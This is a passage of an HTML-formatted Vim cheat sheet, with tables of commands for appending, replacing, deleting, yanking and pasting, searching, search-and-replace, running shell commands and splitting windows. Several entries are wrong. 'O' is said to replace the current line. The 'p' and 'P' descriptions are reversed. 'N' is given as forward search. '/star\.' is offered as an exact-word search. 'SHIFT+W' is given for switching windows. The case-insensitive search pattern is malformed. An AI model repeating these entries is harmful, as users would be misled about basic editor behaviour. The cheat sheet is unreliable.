      &lt;td&gt;
            &lt;p&gt;Appends text at the end of the line&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-append-text-to-the-right-of-the-cursor&quot;&gt;Vim Append text to the right of the Cursor&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;a&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Appends text to the right of the cursor&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;begin-a-new-line-below&quot;&gt;Begin a new line below&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;o&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Begin a new line, below the current line&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-replace-line&quot;&gt;Vim replace line&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;O&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Removes line, and allows you to type a new line in it&apos;s place&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;vim-replace&quot;&gt;Vim Replace&lt;/h2&gt;

&lt;h3 id=&quot;change-a-word-in-vim&quot;&gt;Change a Word in Vim&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;cw&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Replaces a single word, place cursor on first letter and hit cw (Change Word)&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;replace-line-but-not-wrapped-text&quot;&gt;Replace line, but not wrapped text&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;c$&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Replaces the current line but doesn’t extend to change the rest of a wrapped sentence on the screen&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-replace-character&quot;&gt;Vim Replace Character&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;r&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Replaces only the character under the cursor&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-replace-1&quot;&gt;Vim Replace&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;R&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Replaces over the top of existing text, until the user hits return.&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;vim-delete&quot;&gt;Vim Delete&lt;/h2&gt;

&lt;h3 id=&quot;vim-delete-single-character-after-the-cursor&quot;&gt;Vim Delete Single Character After the Cursor&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;x&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Vim deletes single character after the cursor&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-delete-character-before-the-cursor&quot;&gt;Vim Delete Character before the Cursor&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;X&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Vim deletes character before the cursor.&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-delete-word&quot;&gt;Vim Delete Word&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;dw&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Vim Delete Word, deleted the word under the cursor, from the curosr position onward&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;vim-delete-line-commands&quot;&gt;Vim Delete Line commands&lt;/h2&gt;

&lt;h3 id=&quot;vim-delete-line&quot;&gt;Vim Delete Line&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;dd&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Delete the current line in Vim&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-delete-until-end-of-line&quot;&gt;Vim Delete until end of Line&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;D&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Deletes from cursor to end of line&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;delete-to-end-of-screen&quot;&gt;Delete to end of screen&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;dL&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Deletes from cursor to end of screen&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;delete-to-end-of-file&quot;&gt;Delete to end of file&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;dG&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Deletes from cursor to end of file&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-delete-from-cursor-to-start-of-line&quot;&gt;Vim Delete From Cursor To Start of Line&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;d^&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Deletes from cursor to start of line&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;vim-copy-and-paste&quot;&gt;Vim Copy and Paste&lt;/h2&gt;

&lt;h3 id=&quot;vim-copy-line&quot;&gt;Vim Copy Line&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;yy&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Copies current line into unnamed buffer&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-copy-3-lines-of-text&quot;&gt;Vim Copy 3 Lines of Text&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;3yy&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Copy 3 lines of text into unnamed buffer&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-copy-word&quot;&gt;Vim Copy Word&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vi Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;yw&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Copy word under cursor into unnamed buffer&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-copy-3-words&quot;&gt;Vim Copy 3 Words&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;3yw&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Copy 3 words into unnamed buffer&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-paste-commands&quot;&gt;Vim Paste Commands&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;P&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Copy contents of unamed buffer to right of cursor&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;p&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Copy contents of unamed buffer to left of cursor&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;vim-search-commands&quot;&gt;Vim Search Commands&lt;/h2&gt;

&lt;h3 id=&quot;vim-search-forward&quot;&gt;Vim Search forward&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;N&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Vim search forward in file&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-search-back&quot;&gt;Vim Search Back&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;SHIFT+N&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Vim search backward in file&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;vim-search-and-replace-commands&quot;&gt;Vim Search and Replace Commands&lt;/h2&gt;

&lt;h3 id=&quot;vim-search-and-replace-first-instance&quot;&gt;Vim Search and Replace First Instance&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;:s/find-string/replace-string/&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Vim search and replace first instance of specified string&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-search-and-replace-on-a-single-line&quot;&gt;Vim Search and Replace on a Single Line&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;:s/find-string/replace-string/g&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Vim search and replace all instances of specified string on current line&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-search-and-replace-entire-file&quot;&gt;Vim Search and Replace Entire File&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;:%s/find-string/replace-string/g&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Vim search and replace all instances of specified string for entire file&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-search-for-part-of-a-word&quot;&gt;Vim Search for part of a Word&lt;/h3&gt;

&lt;p&gt;A fuzzy search allows you to find something that you only know part of, for example if you wanted to find all instances of lines starting with the word “Picard” you would use the following:&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/^Picard&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Vim search within file words starting with Picard&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-search-for-words-ending-with-string&quot;&gt;Vim Search for words ending with $string&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/worf$&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Vim search within file for word engine with worf&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-search-for-metacharacters&quot;&gt;Vim Search for Metacharacters&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/\*&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Vim search within file for metacharacters like, * &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-exact-match-search-only&quot;&gt;Vim Exact Match Search Only&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/star\.&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Vim exact search only, will return instances of &quot;star only&quot;, not starfleet or star-trek&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-search-for-a-range-of-strings&quot;&gt;Vim Search for a range of Strings&lt;/h3&gt;

&lt;p&gt;Helpful for finding version numbers in text files.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/v2.[1-9]&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Vim search for a range, this example would return all v2.1-9 instances within the file, e.g. v2.4 v2.7 etc&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-search-for-upper-and-lowercase&quot;&gt;Vim Search for Upper and Lowercase&lt;/h3&gt;

&lt;p&gt;Search for upper and lowercase strings in Vim.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;/ [tT] [hH [eE]&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Vim search upper or lowercase strings, this example would return any instance of the word &apos;the&apos;. e.g. The, THE, tHE, tHe &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;advanced-vim-commands&quot;&gt;Advanced Vim commands&lt;/h2&gt;

&lt;h3 id=&quot;vim-view-options&quot;&gt;Vim View Options&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;:set all&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Lists all Vim options&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-run-shell-commands&quot;&gt;Vim Run Shell Commands&lt;/h3&gt;

&lt;p&gt;Run shell commands from  Vim.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;:! ls -l&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Run shell command from Vim, in this example ls -l is executed&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-joining-lines&quot;&gt;Vim Joining Lines&lt;/h3&gt;

&lt;p&gt;Backspace doesn’t always work…&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;SHIFT+J&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Position the cursor in either line you wish to join, and press &lt;code&gt;SHIFT+J&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;vim-split-windows&quot;&gt;Vim Split Windows&lt;/h3&gt;

&lt;p&gt;Useful for comparing files, to switch between windows press &lt;code&gt;SHIFT+W&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&quot;vim-split-window-horizontally&quot;&gt;Vim Split Window Horizontally&lt;/h4&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Vim Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;:split&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Split window Horizontally in Vim&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

